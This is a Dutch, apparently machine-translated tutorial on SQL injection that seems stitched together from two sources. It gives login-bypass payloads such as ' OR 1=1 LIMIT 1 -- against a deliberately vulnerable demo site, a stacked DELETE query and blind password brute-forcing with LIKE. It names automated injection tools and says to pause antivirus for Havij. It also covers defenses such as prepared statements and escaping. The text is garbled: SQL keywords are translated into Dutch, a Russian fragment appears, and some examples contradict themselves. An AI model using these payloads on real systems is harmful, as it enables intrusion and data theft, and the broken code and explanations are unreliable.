[e-mailadres beveiligd]" OF 1 = 1 LIMIET 1 -- " ]

en xxx in het wachtwoordveld.

De gegenereerde dynamische instructie ziet er als volgt uit:

  • [e-mailadres beveiligd] eindigt met een enkel aanhalingsteken, waarmee de tekenreeks wordt beëindigd;
  • OF 1 = 1 LIMIT 1 is een voorwaarde die altijd waar zal zijn en die de geretourneerde resultaten beperkt tot slechts één record.

0; ‘ AND ... is een SQL-opmerking die het wachtwoordgedeelte uitsluit.

Kopieer de bovenstaande query en plak deze in het FiddleRun SQL-tekstvak, zoals hieronder weergegeven:


Hackeractiviteit: SQL-injecties in webapplicaties

We hebben een eenvoudige webapplicatie beschikbaar op http://www.techpanda.org/ die speciaal voor beginners kwetsbaar is gemaakt voor SQL-injectieaanvallen voor demonstratiedoeleinden. De hierboven gegeven HTML-formuliercode is afkomstig van de autorisatiepagina van deze applicatie.

Het biedt basisveiligheid, zoals het opschonen van e-mailvelden. Dit betekent dat bovenstaande code niet kan worden gebruikt om dit mechanisme te omzeilen.

Om dit te omzeilen, kunt u een wachtwoordveld gebruiken. Het onderstaande diagram toont de stappen die u moet volgen:


Laten we aannemen dat de aanvaller de volgende gegevens verstrekt:

Stap 1: Voer in [e-mailadres beveiligd] als e-mailadres;
Stap 2: Voer xxx’) OF 1 = 1 - ] in;


Klikt op de knop “Verzenden”.

Het wordt naar het administratiepaneel gestuurd. De gegenereerde query ziet er als volgt uit:

In het onderstaande diagram ziet u hoe het verzoek is gegenereerd:


  • Bij het verzoek wordt ervan uitgegaan dat MD5-codering wordt gebruikt;
  • Er wordt gebruik gemaakt van een afsluitend enkel aanhalingsteken en haakjes;
  • Er wordt een voorwaarde aan de operator toegevoegd die altijd waar zal zijn.

Doorgaans proberen aanvallers verschillende methoden te gebruiken bij een SQL-injectieaanval om hun doelen te bereiken.

Andere soorten SQL-injectieaanvallen

SQL-injecties kunnen veel meer schade aanrichten dan inloggen op een systeem door het autorisatiemechanisme te omzeilen. Sommige van deze aanvallen kunnen:

  • Gegevensverwijdering uitvoeren;
  • Gegevensupdate uitvoeren;
  • Gegevens toevoegen;
  • Voer opdrachten uit op de server die kwaadaardige programma's downloaden en installeren;
  • Exporteren naar externe server aanvaller van waardevolle gegevens, zoals details creditcard, e-mail en wachtwoorden.

Bovenstaande lijst is niet compleet. Het geeft eenvoudigweg een idee van de gevaren die SQL-injecties met zich meebrengen.

Tools voor het automatiseren van SQL-injecties

In het bovenstaande voorbeeld hebben we handmatige aanvalsmethoden gebruikt. Voordat u een SQL-injectie uitvoert, moet u begrijpen dat er geautomatiseerde tools zijn waarmee u aanvallen efficiënter en sneller kunt uitvoeren:

  • SQLSmack;
  • SQLPing 2;
  • SQL-kaart.

Hoe SQL-injecties te voorkomen

Hier zijn er een paar eenvoudige regels, waarmee u zich kunt beschermen tegen aanvallen met behulp van SQL-injecties:

Gebruikersinvoer mag niet worden vertrouwd. Het moet altijd worden opgeschoond voordat de gegevens worden gebruikt in dynamische SQL-bewerkingen.

Opgeslagen procedures- Ze kunnen SQL-query's inkapselen en alle invoergegevens als parameters verwerken.

Opgestelde vragen- Er worden eerst query's gemaakt en vervolgens worden alle opgegeven gebruikersgegevens als parameters verwerkt. Dit heeft geen invloed op de syntaxis van de SQL-instructie.

Reguliere expressies- kan worden gebruikt om potentieel te detecteren kwaadaardige code en verwijder deze voordat u SQL-instructies uitvoert.

Toegangsrechten om verbinding te maken met de database- naar beschermen tegen SQL-injecties mogen alleen accounts worden toegekend die worden gebruikt om verbinding te maken met de database noodzakelijke rechten toegang. Dit helpt de acties te beperken die SQL-instructies op de server kunnen uitvoeren.

Foutmeldingen- mag niet openbaar worden gemaakt vertrouwelijke informatie. Eenvoudige aangepaste foutmeldingen zoals " Excuses, het is ontstaan technische fout. Het ondersteuningsteam is hierover al op de hoogte gesteld. Probeer het later opnieuw", kan worden gebruikt in plaats van weer te geven SQL-query's die de fout veroorzaakte.

Hackeractiviteit: gebruik voor SQL-injectie Havij

In dit praktijkgerichte scenario gaan we Havij Advanced SQL Injection gebruiken om een ​​website te scannen op kwetsbaarheden.

Opmerking: De jouwe antivirusprogramma kan vanwege de aard ervan op dit programma reageren. Daarom moet u het toevoegen aan de uitsluitingslijst of uw antivirussoftware pauzeren:


Voor het beoordelen van de kwetsbaarheid/applicatie kan gebruik worden gemaakt van bovengenoemde tool.

SQL-injectie – het inbedden van kwaadaardige code in databasequery’s – is het meest voorkomend gevaarlijke blik aanvallen. Met behulp van SQL-injecties kan een aanvaller niet alleen gegevens verkrijgen geheime informatie uit de database, maar ook met bepaalde voorwaarden, breng daar wijzigingen aan.

De kwetsbaarheid voor SQL-injectie ontstaat doordat gebruikersinformatie in een databasequery wordt opgenomen zonder de juiste verwerking: om ervoor te zorgen dat het script niet kwetsbaar is, is het noodzakelijk om ervoor te zorgen dat alle gebruikersgegevens in alle databasequery's in escaped-vorm terechtkomen. De eis van universaliteit is de hoeksteen: een overtreding begaan in één script maakt het hele systeem kwetsbaar.

Voorbeeld van een kwetsbaarheid

Laten we aannemen dat er een script is dat een lijst met gebruikers uit een bepaalde stad weergeeft, waarbij het stads-ID als GET-parameter wordt gebruikt. Het script is toegankelijk via HTTP op /users.php?cityid=20

In het bovenstaande script voegt de ontwikkelaar een GET-parameter in de SQL-query in, wat impliceert dat de GET-parameter altijd een getal zal bevatten. Een aanvaller kan een string als parameter doorgeven en daardoor het verzoek corrumperen. Het zal bijvoorbeeld toegang krijgen tot het script als /users.php?cityid=20; VERWIJDEREN * VAN gebruikers
De SQL-query ziet er als volgt uit:

Het verzoek wordt uitgevoerd en het script retourneert niet alleen gebruikers uit de opgegeven stad, maar ook een lijst met alle gebruikers wier wachtwoord wordt weergegeven in plaats van hun echte naam.

Hoe jezelf beschermen?

Laten we de gebruikersinformatie tussen enkele aanhalingstekens plaatsen. Zal dit helpen?

Uit het bovenstaande voorbeeld kunt u zien dat het omsluiten van enkele aanhalingstekens niet voldoende is. U moet ook eventuele aanhalingstekens in de tekenreeks escapen. Om dit te doen, biedt PHP de functie mysql_real_escape_string(), die toevoegt terugslag vóór elk aanhalingsteken, achteraanhalingsteken en enkele andere speciale tekens. Laten we naar de code kijken:

Dus, om jezelf te beschermen tegen SQL-injecties, alles externe parameters, dat mogelijk tekst bevat, moet worden verwerkt met behulp van mysql_real_escape_string() en staan ​​tussen enkele aanhalingstekens.

Als u weet dat een parameter een numerieke waarde moet aannemen, kan deze met behulp van de functie expliciet naar een numerieke vorm worden geconverteerd intval() of floatval(). IN in dit voorbeeld we zouden kunnen gebruiken:

$sql = "SELECTEER gebruikersnaam, echte naam
VAN gebruikers
WAAR stadid=""
.intval ( $_GET ["stads-id" ] ) .""" ;

Verschillen tussen mysql_real_escape_string() en mysql_escape_string()

mysql_real_escape_string() is een verbeterde versie van de mysql_escape_string() functie, die veel wordt gebruikt om veilige queries naar de MySQL-database te genereren. Het verschil tussen deze twee functies is dat mysql_real_escape_string() correct werkt met multi-byte-coderingen.

Stel dat er een teken aanwezig is in de gegevens die worden verwerkt (bijvoorbeeld in UTF-8), waarvan de code uit twee bytes bestaat: hexadecimaal 27 en 2B (respectievelijk decimaal 39 en 43). mysql_escape_string() behandelt elke byte aan gegevens die eraan wordt doorgegeven als een afzonderlijk teken (meer precies, als code apart karakter) en besluit dat de reeks bytes 27 en 2B twee is verschillende symbolen: enkele aanhalingstekens ("") en plus (+). Omdat de functie het aanhalingsteken behandelt als speciaal karakter, wordt er een schuine streep (\) toegevoegd vóór de byte met code 27, die feitelijk deel uitmaakt van een onschadelijk teken. Als gevolg hiervan worden de gegevens in vervormde vorm naar de database verzonden.

Het is vermeldenswaard dat mysql_real_escape_string() in alle gevallen correct werkt en mysql_escape_string() volledig kan vervangen.

mysql_real_escape_string() is beschikbaar in PHP sinds versie 4.3.0.

Aanvullende voorbeelden

We hebben naar het eenvoudigste voorbeeld gekeken, maar in de praktijk kan een kwetsbare zoekopdracht complexer zijn en de resultaten ervan niet aan de gebruiker worden weergegeven. Vervolgens zullen we voorbeelden van SQL-injecties in enkele complexere gevallen bekijken, zonder aanspraak te maken op volledigheid.

Injectie in complexe queries

In het eenvoudigste voorbeeld was het mogelijk om code aan het einde van de SQL-query in te sluiten. In de praktijk kan dit aan het einde van een SQL-query het geval zijn aanvullende voorwaarden, sorteeroperatoren, groeperingen en andere SQL-constructies. In elk specifiek geval zal de aanvaller proberen een kwaadaardig stuk zo in te sluiten dat het verzoek als geheel syntactisch correct blijft, maar een andere functie vervult. Hier zullen we naar kijken eenvoudigste voorbeeld kwetsbaar verzoek met een aanvullende voorwaarde.

Als gevolg hiervan is de leeftijdsvoorwaarde<35 heeft geen invloed op het monster, omdat De OR-operator heeft een lagere prioriteit dan de AND-operator, en de WHERE uit de bovenstaande query kan anders worden geschreven als WAAR (stadsid = "20" EN 1 ) OF ("1" EN leeftijd<"35" ) (onthoud dat de WHERE 1-expressie altijd waar is). Als gevolg hiervan zullen zowel de regels met cityid=20 als de regels met leeftijd aan de voorwaarde voldoen<35, причем наличие последних не обязательно.

Voor complexe queries vereisen succesvolle SQL-injecties enige creativiteit, maar van aanvallers mag worden verwacht dat ze die ook hebben.

Queryresultaten worden niet aan de gebruiker weergegeven

Het kan zijn dat een zoekopdracht waarvan de resultaten niet aan de gebruiker worden weergegeven, kwetsbaar is. Dit kan bijvoorbeeld een hulpquery zijn:

$sql = "SELECTEER aantal(*)
VAN gebruikers
WAAR userid = ""
.$_GET [ "gebruikersnaam" ] .""" ;

De bovenstaande zoekopdracht controleert alleen op de aanwezigheid van een gebruiker met een bepaald gebruikers-ID: als er een waarde wordt geretourneerd die niet nul is, wordt het gebruikersprofiel met het bijbehorende gebruikers-ID weergegeven, maar als 0 wordt geretourneerd (dat wil zeggen dat er geen gebruikers zijn die voldoen aan de aanvraagcriteria), wordt het bericht “gebruiker niet gevonden” weergegeven.

In dit geval wordt het wachtwoord (of andere informatie) met brute kracht bepaald. De aanvaller geeft de string door als de userid-parameter 2" EN wachtwoord LIKE "a%. Laatste verzoek:

SELECTEER aantal (*) FROM gebruikers WHERE userid="2" EN wachtwoord ZOALS "a% "

De aanvaller krijgt de melding "Gebruiker niet gevonden" als het wachtwoord niet begint met de letter "a", of anders op de. De eerste letter van het wachtwoord wordt bepaald door brute kracht, daarna de tweede, enz.

Conclusies

  • Alle query's die externe gegevens gebruiken, moeten worden beschermd tegen SQL-injecties. Externe gegevens kunnen niet alleen als GET-parameters worden verzonden, maar ook met behulp van de POST-methode, afkomstig van een COOKIE, van sites van derden of van een database waarin de gebruiker de mogelijkheid had om informatie in te voeren.
  • Alle numerieke parameters moeten expliciet worden geconverteerd naar een numerieke vorm met behulp van functies intval() Uw status: floatval()
  • Alle tekenreeksparameters moeten worden voorzien van een escape-teken mysql_real_escape_string() en zet het tussen aanhalingstekens.
  • Als het construeren van een SQL-injectie moeilijk is, moet je niet verwachten dat de aanvaller niet zal bedenken hoe hij dat moet doen. Dit geldt vooral voor zoekmachines waarvan de broncode openbaar is.

Veel succes met het bouwen van veilige applicaties!